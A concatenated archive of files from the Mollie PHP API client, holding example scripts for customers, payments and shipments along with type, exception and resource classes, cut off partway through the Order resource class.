$mollie->orders->get('ord_8wmqcHMN4U'); $shipments = $order->shipments(); echo 'Shipments for order with ID ' . $order->id . ':'; foreach ($shipments as $shipment) { echo 'Shipment ' . $shipment->id . '. Items:'; foreach ($shipment->lines as $line) { echo $line->name . ' - status: <b>' . $line->status . '</b>.'; } } } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/shipments/update-shipment.php 0000644 00000002421 15107407461 0014220 0 ustar 00 <?php /* * Update shipment tracking information using the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Update the tracking information for a shipment with ID "shp_3wmsgCJN4U" and * order ID "ord_8wmqcHMN4U" * * See: https://docs.mollie.com/reference/v2/shipments-api/update-shipment */ $order = $mollie->orders->get('ord_8wmqcHMN4U'); $shipment = $order->getShipment("shp_3wmsgCJN4U"); $shipment->tracking = [ 'carrier' => 'PostNL', 'code' => '3SKABA000000000', 'url' => 'http://postnl.nl/tracktrace/?B=3SKABA000000000&P=1016EE&D=NL&T=C', ]; $shipment = $shipment->update(); echo 'Shipment with ID ' . $shipment->id. ' for order with ID ' . $order->id . '.'; echo 'Tracking information updated:'; echo 'Carrier: ' . $shipment->tracking->carrier; echo 'Code: ' . $shipment->tracking->code; echo 'Url: ' . $shipment->tracking->url; foreach ($shipment->lines as $line) { echo $line->name . ' - status: <b>' . $line->status . '</b>.'; } } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/customers/update-customer.php 0000644 00000001527 15107407461 0014252 0 ustar 00 <?php /* * Updating an existing customer via the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Retrieve an existing customer by his customerId */ $customer = $mollie->customers->get("cst_cUe8HjeBuz"); /** * Customer fields that can be updated. * * @See https://docs.mollie.com/reference/v2/customers-api/update-customer */ $customer->name = "Luke Sky"; $customer->email = "luke@example.org"; $customer->locale = "en_US"; $customer->metadata->isJedi = true; $customer->update(); echo "<p>Customer updated: " . htmlspecialchars($customer->name) . "</p>"; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/customers/create-customer-payment.php 0000644 00000003735 15107407461 0015711 0 ustar 00 <?php /* * How to create a new customer in the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Retrieve the last created customer for this example. * If no customers are created yet, run create-customer example. */ $customer = $mollie->customers->page(null, 1)[0]; /* * Generate a unique order id for this example. It is important to include this unique attribute * in the redirectUrl (below) so a proper return page can be shown to the customer. */ $orderId = time(); /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST']; /** * Linking customers to payments has a few benefits * * @see https://docs.mollie.com/reference/v2/customers-api/create-customer-payment */ $payment = $customer->createPayment([ "amount" => [ "value" => "10.00", // You must send the correct number of decimals, thus we enforce the use of strings "currency" => "EUR", ], "description" => "Order #{$orderId}", "redirectUrl" => "{$protocol}://{$hostname}/payments/return.php?order_id={$orderId}", "webhookUrl" => "{$protocol}://{$hostname}/payments/webhook.php", "metadata" => [ "order_id" => $orderId, ], ]); /* * In this example we store the order with its payment status in a database. */ database_write($orderId, $payment->status); /* * Send the customer off to complete the payment. * This request should always be a GET, thus we enforce 303 http response code */ header("Location: " . $payment->getCheckoutUrl(), true, 303); } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/customers/create-customer.php 0000644 00000001413 15107407461 0014225 0 ustar 00 <?php /* * How to create a new customer in the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /** * Customer creation parameters. * * @See https://docs.mollie.com/reference/v2/customers-api/create-customer */ $customer = $mollie->customers->create([ "name" => "Luke Skywalker", "email" => "luke@example.org", "metadata" => [ "isJedi" => true, ], ]); echo "<p>New customer created " . htmlspecialchars($customer->id) . " (" . htmlspecialchars($customer->name) . ").</p>"; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/customers/delete-customer.php 0000644 00000000616 15107407461 0014230 0 ustar 00 <?php /* * Delete a customer from the Mollie API. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; $mollie->customers->delete("cst_fE3F6nvX"); echo "<p>Customer deleted!</p>"; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/customers/list-customer-payments.php 0000644 00000003577 15107407461 0015610 0 ustar 00 <?php /* * How to retrieve your customers' payments history. */ try { /* * Initialize the Mollie API library with your API key. * * See: https://www.mollie.com/dashboard/developers/api-keys */ require "../initialize.php"; /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST']; /* * Retrieve the last created customer for this example. * If no customers are created yet, run create-customer example. */ $customer = $mollie->customers->page(null, 1)[0]; /* * Get the all payments for this API key ordered by newest. */ $payments = $customer->payments(); echo "<ul>"; foreach ($payments as $payment) { echo "<li>"; echo "<strong style='font-family: monospace'>" . htmlspecialchars($payment->id) . "</strong><br />"; echo htmlspecialchars($payment->description) . "<br />"; echo htmlspecialchars($payment->amount->currency) . " " . htmlspecialchars($payment->amount->value) . "<br />"; echo "Status: " . htmlspecialchars($payment->status) . "<br />"; if ($payment->hasRefunds()) { echo "Payment has been (partially) refunded.<br />"; } if ($payment->hasChargebacks()) { echo "Payment has been charged back.<br />"; } if ($payment->canBeRefunded() && $payment->amountRemaining->currency === 'EUR' && $payment->amountRemaining->value >= '2.00') { echo " (<a href=\"{$protocol}://{$hostname}/payments/refund-payment.php?payment_id=" . htmlspecialchars($payment->id) . "\">refund</a>)"; } echo "</li>"; } echo "</ul>"; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/customers/create-customer-recurring-payment.php 0000644 00000004046 15107407461 0017703 0 ustar 00 <?php /* * How to create an on-demand recurring payment. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Retrieve the last created customer for this example. * If no customers are created yet, run the create-customer example. */ $customer = $mollie->customers->page(null, 1)[0]; /* * Generate a unique order id for this example. */ $orderId = time(); /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST']; /** * Customer Payment creation parameters. * * @See: https://docs.mollie.com/reference/v2/customers-api/create-customer-payment */ $payment = $customer->createPayment([ "amount" => [ "value" => "10.00", // You must send the correct number of decimals, thus we enforce the use of strings "currency" => "EUR", ], "description" => "On-demand payment - Order #{$orderId}", "webhookUrl" => "{$protocol}://{$hostname}/payments/webhook.php", "metadata" => [ "order_id" => $orderId, ], // Flag this payment as a recurring payment. "sequenceType" => \Mollie\Api\Types\SequenceType::SEQUENCETYPE_RECURRING, ]); /* * In this example we store the order with its payment status in a database. */ database_write($orderId, $payment->status); /* * The payment will be either pending or paid immediately. The customer * does not have to perform any payment steps. */ echo "<p>Selected mandate is '" . htmlspecialchars($payment->mandateId) . "' (" . htmlspecialchars($payment->method) . ").</p>\n"; echo "<p>The payment status is '" . htmlspecialchars($payment->status) . "'.</p>\n"; } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/customers/create-customer-first-payment.php 0000644 00000004456 15107407461 0017037 0 ustar 00 <?php /* * How to create a first payment to allow recurring payments later. */ try { /* * Initialize the Mollie API library with your API key or OAuth access token. */ require "../initialize.php"; /* * Retrieve the last created customer for this example. * If no customers are created yet, run the create-customer example. */ $customer = $mollie->customers->page(null, 1)[0]; /* * Generate a unique order id for this example. It is important to include this unique attribute * in the redirectUrl (below) so a proper return page can be shown to the customer. */ $orderId = time(); /* * Determine the url parts to these example files. */ $protocol = isset($_SERVER['HTTPS']) && strcasecmp('off', $_SERVER['HTTPS']) !== 0 ? "https" : "http"; $hostname = $_SERVER['HTTP_HOST']; /** * Customer Payment creation parameters. * * @See: https://docs.mollie.com/reference/v2/customers-api/create-customer-payment */ $payment = $customer->createPayment([ "amount" => [ "value" => "10.00", // You must send the correct number of decimals, thus we enforce the use of strings "currency" => "EUR", ], "description" => "First payment - Order #{$orderId}", "redirectUrl" => "{$protocol}://{$hostname}/payments/return.php?order_id={$orderId}", "webhookUrl" => "{$protocol}://{$hostname}/payments/webhook.php", "metadata" => [ "order_id" => $orderId, ], // Flag this payment as a first payment to allow recurring payments later. "sequenceType" => \Mollie\Api\Types\SequenceType::SEQUENCETYPE_FIRST, ]); /* * In this example we store the order with its payment status in a database. */ database_write($orderId, $payment->status); /* * Send the customer off to complete the payment. * This request should always be a GET, thus we enforce 303 http response code * * After completion, the customer will have a pending or valid mandate that can be * used for recurring payments and subscriptions. */ header("Location: " . $payment->getCheckoutUrl(), true, 303); } catch (\Mollie\Api\Exceptions\ApiException $e) { echo "API call failed: " . htmlspecialchars($e->getMessage()); } examples/initialize_with_oauth.php 0000644 00000000746 15107407461 0013503 0 ustar 00 <?php /* * Make sure to disable the display of errors in production code! */ ini_set('display_errors', '1'); ini_set('display_startup_errors', '1'); error_reporting(E_ALL); require_once __DIR__ . "/../vendor/autoload.php"; require_once __DIR__ . "/functions.php"; /* * Initialize the Mollie API library with OAuth. * * See: https://docs.mollie.com/oauth/overview */ $mollie = new \Mollie\Api\MollieApiClient(); $mollie->setAccessToken("access_Wwvu7egPcJLLJ9Kb7J632x8wJ2zMeJ"); examples/functions.php 0000644 00000001064 15107407461 0011111 0 ustar 00 <?php /* * NOTE: The examples are using a text file as a database. * Please use a real database like MySQL in production code. */ function database_read($orderId) { $orderId = intval($orderId); $database = dirname(__FILE__) . "/database/order-{$orderId}.txt"; $status = @file_get_contents($database); return $status ? $status : "unknown order"; } function database_write($orderId, $status) { $orderId = intval($orderId); $database = dirname(__FILE__) . "/database/order-{$orderId}.txt"; file_put_contents($database, $status); } src/CompatibilityChecker.php 0000644 00000002704 15107407461 0012152 0 ustar 00 <?php namespace Mollie\Api; use Mollie\Api\Exceptions\IncompatiblePlatform; class CompatibilityChecker { /** * @var string */ public const MIN_PHP_VERSION = "7.2"; /** * @throws IncompatiblePlatform * @return void */ public function checkCompatibility() { if (! $this->satisfiesPhpVersion()) { throw new IncompatiblePlatform( "The client requires PHP version >= " . self::MIN_PHP_VERSION . ", you have " . PHP_VERSION . ".", IncompatiblePlatform::INCOMPATIBLE_PHP_VERSION ); } if (! $this->satisfiesJsonExtension()) { throw new IncompatiblePlatform( "PHP extension json is not enabled. Please make sure to enable 'json' in your PHP configuration.", IncompatiblePlatform::INCOMPATIBLE_JSON_EXTENSION ); } } /** * @return bool * @codeCoverageIgnore */ public function satisfiesPhpVersion() { return (bool)version_compare(PHP_VERSION, self::MIN_PHP_VERSION, ">="); } /** * @return bool * @codeCoverageIgnore */ public function satisfiesJsonExtension() { // Check by extension_loaded if (function_exists('extension_loaded') && extension_loaded('json')) { return true; } elseif (function_exists('json_encode')) { return true; } return false; } } src/Types/OrderLineUpdateOperationType.php 0000644 00000000314 15107407461 0014724 0 ustar 00 <?php declare(strict_types=1); namespace Mollie\Api\Types; class OrderLineUpdateOperationType { public const ADD = 'add'; public const CANCEL = 'cancel'; public const UPDATE = 'update'; } src/Types/OnboardingStatus.php 0000644 00000000674 15107407461 0012452 0 ustar 00 <?php namespace Mollie\Api\Types; class OnboardingStatus { /** * The onboarding is not completed and the merchant needs to provide (more) information */ public const NEEDS_DATA = 'needs-data'; /** * The merchant provided all information and Mollie needs to check this */ public const IN_REVIEW = 'in-review'; /** * The onboarding is completed */ public const COMPLETED = 'completed'; } src/Types/ProfileStatus.php 0000644 00000001001 15107407461 0011751 0 ustar 00 <?php namespace Mollie\Api\Types; class ProfileStatus { /** * The profile has not been verified yet and can only be used to create test payments. */ public const STATUS_UNVERIFIED = 'unverified'; /** * The profile has been verified and can be used to create live payments and test payments. */ public const STATUS_VERIFIED = 'verified'; /** * The profile is blocked and can thus no longer be used or changed. */ public const STATUS_BLOCKED = 'blocked'; } src/Types/InvoiceStatus.php 0000644 00000000523 15107407461 0011755 0 ustar 00 <?php namespace Mollie\Api\Types; class InvoiceStatus { /** * The invoice is not paid yet. */ public const STATUS_OPEN = "open"; /** * The invoice is paid. */ public const STATUS_PAID = "paid"; /** * Payment of the invoice is overdue. */ public const STATUS_OVERDUE = "overdue"; } src/Types/TerminalStatus.php 0000644 00000000634 15107407461 0012137 0 ustar 00 <?php namespace Mollie\Api\Types; class TerminalStatus { /** * The terminal has just been created but not yet active. */ public const STATUS_PENDING = "pending"; /** * The terminal has been activated and can take payments. */ public const STATUS_ACTIVE = "active"; /** * The terminal has been deactivated. */ public const STATUS_INACTIVE = "inactive"; } src/Types/SubscriptionStatus.php 0000644 00000000563 15107407461 0013051 0 ustar 00 <?php namespace Mollie\Api\Types; class SubscriptionStatus { public const STATUS_ACTIVE = "active"; public const STATUS_PENDING = "pending"; // Waiting for a valid mandate. public const STATUS_CANCELED = "canceled"; public const STATUS_SUSPENDED = "suspended"; // Active, but mandate became invalid. public const STATUS_COMPLETED = "completed"; } src/Types/OrderStatus.php 0000644 00000001711 15107407461 0011434 0 ustar 00 <?php namespace Mollie\Api\Types; class OrderStatus { /** * The order has just been created. */ public const STATUS_CREATED = "created"; /** * The order has been paid. */ public const STATUS_PAID = "paid"; /** * The order has been authorized. */ public const STATUS_AUTHORIZED = "authorized"; /** * The order has been canceled. */ public const STATUS_CANCELED = "canceled"; /** * The order is shipping. */ public const STATUS_SHIPPING = "shipping"; /** * The order is completed. */ public const STATUS_COMPLETED = "completed"; /** * The order is expired. */ public const STATUS_EXPIRED = "expired"; /** * The order is pending. */ public const STATUS_PENDING = "pending"; /** * (Deprecated) The order has been refunded. * @deprecated 2018-11-27 */ public const STATUS_REFUNDED = "refunded"; } src/Types/MandateMethod.php 0000644 00000001246 15107407461 0011672 0 ustar 00 <?php namespace Mollie\Api\Types; class MandateMethod { public const DIRECTDEBIT = "directdebit"; public const CREDITCARD = "creditcard"; public const PAYPAL = "paypal"; /** * @param string $firstPaymentMethod * @return string */ public static function getForFirstPaymentMethod($firstPaymentMethod) { if ($firstPaymentMethod === PaymentMethod::PAYPAL) { return static::PAYPAL; } if (in_array($firstPaymentMethod, [ PaymentMethod::APPLEPAY, PaymentMethod::CREDITCARD, ])) { return static::CREDITCARD; } return static::DIRECTDEBIT; } } src/Types/ApprovalPrompt.php 0000644 00000000506 15107407461 0012144 0 ustar 00 <?php namespace Mollie\Api\Types; class ApprovalPrompt { const AUTO = "auto"; /** * Force showing the consent screen to the merchant, even when it is not necessary. * Note that already active authorizations will be revoked when the user creates the new authorization. */ const FORCE = "force"; } src/Types/PaymentMethod.php 0000644 00000006165 15107407461 0011743 0 ustar 00 <?php namespace Mollie\Api\Types; class PaymentMethod { /** * @link https://www.mollie.com/en/payments/applepay */ public const APPLEPAY = "applepay"; /** * @link https://www.mollie.com/en/payments/bancontact */ public const BANCONTACT = "bancontact"; /** * @link https://www.mollie.com/en/payments/bank-transfer */ public const BANKTRANSFER = "banktransfer"; /** * @link https://www.mollie.com/en/payments/belfius */ public const BELFIUS = "belfius"; /** * @link https://www.mollie.com/en/payments/billie */ public const BILLIE = "billie"; /** * @deprecated 2019-05-01 */ public const BITCOIN = "bitcoin"; /** * @link https://www.mollie.com/en/payments/credit-card */ public const CREDITCARD = "creditcard"; /** * @link https://www.mollie.com/en/payments/direct-debit */ public const DIRECTDEBIT = "directdebit"; /** * @link https://www.mollie.com/en/payments/eps */ public const EPS = "eps"; /** * @link https://www.mollie.com/en/payments/gift-cards */ public const GIFTCARD = "giftcard"; /** * @link https://www.mollie.com/en/payments/giropay */ public const GIROPAY = "giropay"; /** * @link https://www.mollie.com/en/payments/ideal */ public const IDEAL = "ideal"; /** * Support for inghomepay will be discontinued February 1st, 2021. * Make sure to remove this payment method from your checkout if needed. * * @deprecated * @link https://docs.mollie.com/changelog/v2/changelog * */ public const INGHOMEPAY = "inghomepay"; /** * @link https://www.mollie.com/en/payments/kbc-cbc */ public const KBC = "kbc"; public const KLARNA_ONE = "klarna"; /** * @link https://www.mollie.com/en/payments/klarna-pay-later */ public const KLARNA_PAY_LATER = "klarnapaylater"; /** * @link https://www.mollie.com/en/payments/klarna-pay-now */ public const KLARNA_PAY_NOW = "klarnapaynow"; /** * @link https://www.mollie.com/en/payments/klarna-slice-it */ public const KLARNA_SLICE_IT = "klarnasliceit"; /** * @link https://www.mollie.com/en/payments/mybank */ public const MYBANK = "mybank"; /** * @link https://www.mollie.com/en/payments/paypal */ public const PAYPAL = "paypal"; /** * @link https://www.mollie.com/en/payments/paysafecard */ public const PAYSAFECARD = "paysafecard"; /** * @link https://www.mollie.com/en/payments/przelewy24 */ public const PRZELEWY24 = 'przelewy24'; /** * @deprecated * @link https://www.mollie.com/en/payments/gift-cards */ public const PODIUMCADEAUKAART = "podiumcadeaukaart"; /** * @link https://www.mollie.com/en/payments/sofort */ public const SOFORT = "sofort"; /** * @link https://www.mollie.com/en/payments/in3 */ public const IN3 = "in3"; /** * @link https://docs.mollie.com/point-of-sale/overview */ public const POINT_OF_SALE = "pointofsale"; } src/Types/OrderLineType.php 0000644 00000000611 15107407461 0011700 0 ustar 00 <?php namespace Mollie\Api\Types; class OrderLineType { public const TYPE_PHYSICAL = 'physical'; public const TYPE_DISCOUNT = 'discount'; public const TYPE_DIGITAL = 'digital'; public const TYPE_SHIPPING_FEE = 'shipping_fee'; public const TYPE_STORE_CREDIT = 'store_credit'; public const TYPE_GIFT_CARD = 'gift_card'; public const TYPE_SURCHARGE = 'surcharge'; } src/Types/MandateStatus.php 0000644 00000000277 15107407461 0011740 0 ustar 00 <?php namespace Mollie\Api\Types; class MandateStatus { public const STATUS_PENDING = "pending"; public const STATUS_VALID = "valid"; public const STATUS_INVALID = "invalid"; } src/Types/SettlementStatus.php 0000644 00000000761 15107407461 0012511 0 ustar 00 <?php namespace Mollie\Api\Types; class SettlementStatus { /** * The settlement has not been closed yet. */ public const STATUS_OPEN = 'open'; /** * The settlement has been closed and is being processed. */ public const STATUS_PENDING = 'pending'; /** * The settlement has been paid out. */ public const STATUS_PAIDOUT = 'paidout'; /** * The settlement could not be paid out. */ public const STATUS_FAILED = 'failed'; } src/Types/PaymentMethodStatus.php 0000644 00000003135 15107407461 0013141 0 ustar 00 <?php namespace Mollie\Api\Types; class PaymentMethodStatus { /** * The payment method is activated and ready for use. * * @link https://docs.mollie.com/reference/v2/methods-api/get-method#parameters */ public const ACTIVATED = "activated"; /** * Mollie is waiting for you to finish onboarding in the Merchant Dashboard before * the payment method can be activated. * * @link https://docs.mollie.com/reference/v2/methods-api/get-method#parameters */ public const PENDING_BOARDING = "pending-boarding"; /** * Mollie needs to review your request for this payment method before it can be activated. * * @link https://docs.mollie.com/reference/v2/methods-api/get-method#parameters */ public const PENDING_REVIEW = "pending-review"; /** * Activation of this payment method relies on you taking action with an external party, * for example signing up with PayPal or a giftcard issuer. * * @link https://docs.mollie.com/reference/v2/methods-api/get-method#parameters */ public const PENDING_EXTERNAL = "pending-external"; /** * Your request for this payment method was rejected. * Whenever Mollie rejects such a request, you will always be informed via email. * * @link https://docs.mollie.com/reference/v2/methods-api/get-method#parameters */ public const REJECTED = "rejected"; /** * This payment method was not requested. * * @link https://docs.mollie.com/reference/v2/methods-api/get-method#parameters */ public const NOT_REQUESTED = null; } src/Types/BalanceTransferFrequency.php 0000644 00000001000 15107407461 0014060 0 ustar 00 <?php namespace Mollie\Api\Types; class BalanceTransferFrequency { const DAILY = "daily"; const TWICE_A_WEEK = "twice-a-week"; const EVERY_MONDAY = "every-monday"; const EVERY_TUESDAY = "every-tuesday"; const EVERY_WEDNESDAY = "every-wednesday"; const EVERY_THURSDAY = "every-thursday"; const EVERY_FRIDAY = "every-friday"; const EVERY_SATURDAY = "every-saturday"; const EVERY_SUNDAY = "every-sunday"; const TWICE_A_MONTH = "twice-a-month"; const NEVER = "never"; } src/Types/PaymentStatus.php 0000644 00000002332 15107407461 0011776 0 ustar 00 <?php namespace Mollie\Api\Types; class PaymentStatus { /** * The payment has just been created, no action has happened on it yet. */ public const STATUS_OPEN = "open"; /** * The payment has just been started, no final confirmation yet. */ public const STATUS_PENDING = "pending"; /** * The payment is authorized, but captures still need to be created in order to receive the money. * * This is currently only possible for Klarna Pay later and Klarna Slice it. Payments with these payment methods can * only be created with the Orders API. You should create a Shipment to trigger the capture to receive the money. * * @see https://docs.mollie.com/reference/v2/shipments-api/create-shipment */ public const STATUS_AUTHORIZED = "authorized"; /** * The customer has canceled the payment. */ public const STATUS_CANCELED = "canceled"; /** * The payment has expired due to inaction of the customer. */ public const STATUS_EXPIRED = "expired"; /** * The payment has been paid. */ public const STATUS_PAID = "paid"; /** * The payment has failed. */ public const STATUS_FAILED = "failed"; } src/Types/OrderLineStatus.php 0000644 00000001457 15107407461 0012253 0 ustar 00 <?php namespace Mollie\Api\Types; class OrderLineStatus { /** * The order line has just been created. */ public const STATUS_CREATED = "created"; /** * The order line has been paid. */ public const STATUS_PAID = "paid"; /** * The order line has been authorized. */ public const STATUS_AUTHORIZED = "authorized"; /** * The order line has been canceled. */ public const STATUS_CANCELED = "canceled"; /** * (Deprecated) The order line has been refunded. * @deprecated */ public const STATUS_REFUNDED = "refunded"; /** * The order line is shipping. */ public const STATUS_SHIPPING = "shipping"; /** * The order line is completed. */ public const STATUS_COMPLETED = "completed"; } src/Types/RefundStatus.php 0000644 00000002046 15107407461 0011606 0 ustar 00 <?php namespace Mollie\Api\Types; class RefundStatus { /** * The refund is queued until there is enough balance to process te refund. You can still cancel the refund. */ public const STATUS_QUEUED = 'queued'; /** * The refund will be sent to the bank on the next business day. You can still cancel the refund. */ public const STATUS_PENDING = 'pending'; /** * The refund has been sent to the bank. The refund amount will be transferred to the consumer account as soon as possible. */ public const STATUS_PROCESSING = 'processing'; /** * The refund amount has been transferred to the consumer. */ public const STATUS_REFUNDED = 'refunded'; /** * The refund has failed after processing. For example, the customer has closed his / her bank account. The funds will be returned to your account. */ public const STATUS_FAILED = 'failed'; /** * The refund was canceled and will no longer be processed. */ public const STATUS_CANCELED = 'canceled'; } src/Types/SequenceType.php 0000644 00000000465 15107407461 0011574 0 ustar 00 <?php namespace Mollie\Api\Types; class SequenceType { /** * Sequence types. * * @see https://docs.mollie.com/guides/recurring */ public const SEQUENCETYPE_ONEOFF = "oneoff"; public const SEQUENCETYPE_FIRST = "first"; public const SEQUENCETYPE_RECURRING = "recurring"; } src/Exceptions/CurlConnectTimeoutException.php 0000644 00000000144 15107407461 0015636 0 ustar 00 <?php namespace Mollie\Api\Exceptions; class CurlConnectTimeoutException extends ApiException { } src/Exceptions/IncompatiblePlatform.php 0000644 00000000551 15107407461 0014306 0 ustar 00 <?php namespace Mollie\Api\Exceptions; class IncompatiblePlatform extends ApiException { public const INCOMPATIBLE_PHP_VERSION = 1000; public const INCOMPATIBLE_CURL_EXTENSION = 2000; public const INCOMPATIBLE_CURL_FUNCTION = 2500; public const INCOMPATIBLE_JSON_EXTENSION = 3000; public const INCOMPATIBLE_RANDOM_BYTES_FUNCTION = 4000; } src/Exceptions/ApiException.php 0000644 00000012360 15107407461 0012564 0 ustar 00 <?php namespace Mollie\Api\Exceptions; use DateTime; class ApiException extends \Exception { /** * @var string */ protected $field; /** * @var string */ protected $plainMessage; /** * @var \Psr\Http\Message\RequestInterface|null */ protected $request; /** * @var \Psr\Http\Message\ResponseInterface|null */ protected $response; /** * ISO8601 representation of the moment this exception was thrown * * @var \DateTimeImmutable */ protected $raisedAt; /** * @var array */ protected $links = []; /** * @param string $message * @param int $code * @param string|null $field * @param \Psr\Http\Message\RequestInterface|null $request * @param \Psr\Http\Message\ResponseInterface|null $response * @param \Throwable|null $previous * @throws \Mollie\Api\Exceptions\ApiException */ public function __construct( $message = "", $code = 0, $field = null, $request = null, $response = null, $previous = null ) { $this->plainMessage = $message; $this->raisedAt = new \DateTimeImmutable(); $formattedRaisedAt = $this->raisedAt->format(DateTime::ISO8601); $message = "[{$formattedRaisedAt}] " . $message; if (! empty($field)) { $this->field = (string)$field; $message .= ". Field: {$this->field}"; } if (! empty($response)) { $this->response = $response; $object = static::parseResponseBody($this->response); if (isset($object->_links)) { foreach ($object->_links as $key => $value) { $this->links[$key] = $value; } } } if ($this->hasLink('documentation')) { $message .= ". Documentation: {$this->getDocumentationUrl()}"; } $this->request = $request; if ($request) { $requestBody = $request->getBody()->__toString(); if ($requestBody) { $message .= ". Request body: {$requestBody}"; } } parent::__construct($message, $code, $previous); } /** * @param \Psr\Http\Message\ResponseInterface $response * @param \Psr\Http\Message\RequestInterface $request * @param \Throwable|null $previous * @return \Mollie\Api\Exceptions\ApiException * @throws \Mollie\Api\Exceptions\ApiException */ public static function createFromResponse($response, $request = null, $previous = null) { $object = static::parseResponseBody($response); $field = null; if (! empty($object->field)) { $field = $object->field; } return new self( "Error executing API call ({$object->status}: {$object->title}): {$object->detail}", $response->getStatusCode(), $field, $request, $response, $previous ); } /** * @return string|null */ public function getField() { return $this->field; } /** * @return string|null */ public function getDocumentationUrl() { return $this->getUrl('documentation'); } /** * @return string|null */ public function getDashboardUrl() { return $this->getUrl('dashboard'); } /** * @return \Psr\Http\Message\ResponseInterface|null */ public function getResponse() { return $this->response; } /** * @return bool */ public function hasResponse() { return $this->response !== null; } /** * @param string $key * @return bool */ public function hasLink($key) { return array_key_exists($key, $this->links); } /** * @param string $key * @return mixed|null */ public function getLink($key) { if ($this->hasLink($key)) { return $this->links[$key]; } return null; } /** * @param string $key * @return null */ public function getUrl($key) { if ($this->hasLink($key)) { return $this->getLink($key)->href; } return null; } /** * @return \Psr\Http\Message\RequestInterface */ public function getRequest() { return $this->request; } /** * Get the ISO8601 representation of the moment this exception was thrown * * @return \DateTimeImmutable */ public function getRaisedAt() { return $this->raisedAt; } /** * @param \Psr\Http\Message\ResponseInterface $response * @return \stdClass * @throws \Mollie\Api\Exceptions\ApiException */ protected static function parseResponseBody($response) { $body = (string) $response->getBody(); $object = @json_decode($body); if (json_last_error() !== JSON_ERROR_NONE) { throw new self("Unable to decode Mollie response: '{$body}'."); } return $object; } /** * Retrieve the plain exception message. * * @return string */ public function getPlainMessage() { return $this->plainMessage; } } src/Exceptions/HttpAdapterDoesNotSupportDebuggingException.php 0000644 00000000164 15107407461 0020777 0 ustar 00 <?php namespace Mollie\Api\Exceptions; class HttpAdapterDoesNotSupportDebuggingException extends ApiException { } src/Exceptions/UnrecognizedClientException.php 0000644 00000000144 15107407461 0015643 0 ustar 00 <?php namespace Mollie\Api\Exceptions; class UnrecognizedClientException extends ApiException { } src/Resources/Invoice.php 0000644 00000003463 15107407461 0011425 0 ustar 00 <?php namespace Mollie\Api\Resources; use Mollie\Api\Types\InvoiceStatus; class Invoice extends BaseResource { /** * @var string */ public $id; /** * @var string */ public $reference; /** * @var string */ public $vatNumber; /** * @var string */ public $status; /** * Date the invoice was issued, e.g. 2018-01-01 * * @var string */ public $issuedAt; /** * Date the invoice was paid, e.g. 2018-01-01 * * @var string|null */ public $paidAt; /** * Date the invoice is due, e.g. 2018-01-01 * * @var string|null */ public $dueAt; /** * Amount object containing the total amount of the invoice excluding VAT. * * @var \stdClass */ public $netAmount; /** * Amount object containing the VAT amount of the invoice. Only for merchants registered in the Netherlands. * * @var \stdClass */ public $vatAmount; /** * Total amount of the invoice including VAT. * * @var \stdClass */ public $grossAmount; /** * Array containing the invoice lines. * * @see https://docs.mollie.com/reference/v2/invoices-api/get-invoice * @var array */ public $lines; /** * Contains a PDF to the Invoice * * @var \stdClass */ public $_links; /** * @return bool */ public function isPaid() { return $this->status == InvoiceStatus::STATUS_PAID; } /** * @return bool */ public function isOpen() { return $this->status == InvoiceStatus::STATUS_OPEN; } /** * @return bool */ public function isOverdue() { return $this->status == InvoiceStatus::STATUS_OVERDUE; } } src/Resources/Order.php 0000644 00000031410 15107407461 0011075 0 ustar 00 <?php namespace Mollie\Api\Resources; use Mollie\Api\Exceptions\ApiException; use Mollie\Api\MollieApiClient; use Mollie\Api\Types\OrderStatus; class Order extends BaseResource { /** * Id of the order. * * @example ord_8wmqcHMN4U * @var string */ public $id; /** * The profile ID this order belongs to. * * @example pfl_xH2kP6Nc6X * @var string */ public $profileId; /** * Either "live" or "test". Indicates this being a test or a live (verified) order. * * @var string */ public $mode; /** * Amount object containing the value and currency * * @var \stdClass */ public $amount; /** * The total amount captured, thus far. * * @var \stdClass */ public $amountCaptured; /** * The total amount refunded, thus far. * * @var \stdClass */ public $amountRefunded; /** * The status of the order. * * @var string */ public $status; /** * The person and the address the order is billed to. * * @var \stdClass */ public $billingAddress; /** * The date of birth of your customer, if available. * @example 1976-08-21 * @var string|null */ public $consumerDateOfBirth; /** * The order number that was used when creating the order. * * @var string */ public $orderNumber; /** * The person and the address the order is billed to. * * @var \stdClass */ public $shippingAddress; /** * The payment method last used when paying for the order. * * @see Method * @var string */ public $method; /** * The locale used for this order. * * @var string */ public $locale; /** * During creation of the order you can set custom metadata that is stored with * the order, and given back whenever you retrieve that order. * * @var \stdClass|mixed|null */ public $metadata; /** * Can this order be canceled? * * @var bool */ public $isCancelable; /** * Webhook URL set on this payment * * @var string|null */ public $webhookUrl; /** * Redirect URL set on this payment * * @var string */ public $redirectUrl; /** * Cancel 